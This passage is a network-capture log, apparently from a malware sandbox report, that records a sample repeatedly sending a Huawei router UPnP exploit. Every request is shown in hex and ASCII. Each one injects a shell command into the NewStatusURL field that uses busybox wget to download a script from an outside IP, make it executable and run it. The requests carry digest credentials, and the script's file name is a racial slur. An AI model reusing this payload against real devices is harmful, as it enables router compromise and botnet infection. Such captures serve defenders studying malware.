s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.114109993 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.569504023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432552099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.15	59480	31.136.217.44	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.153428078 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.738713980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.891264915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290453911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.898420095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.114092112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 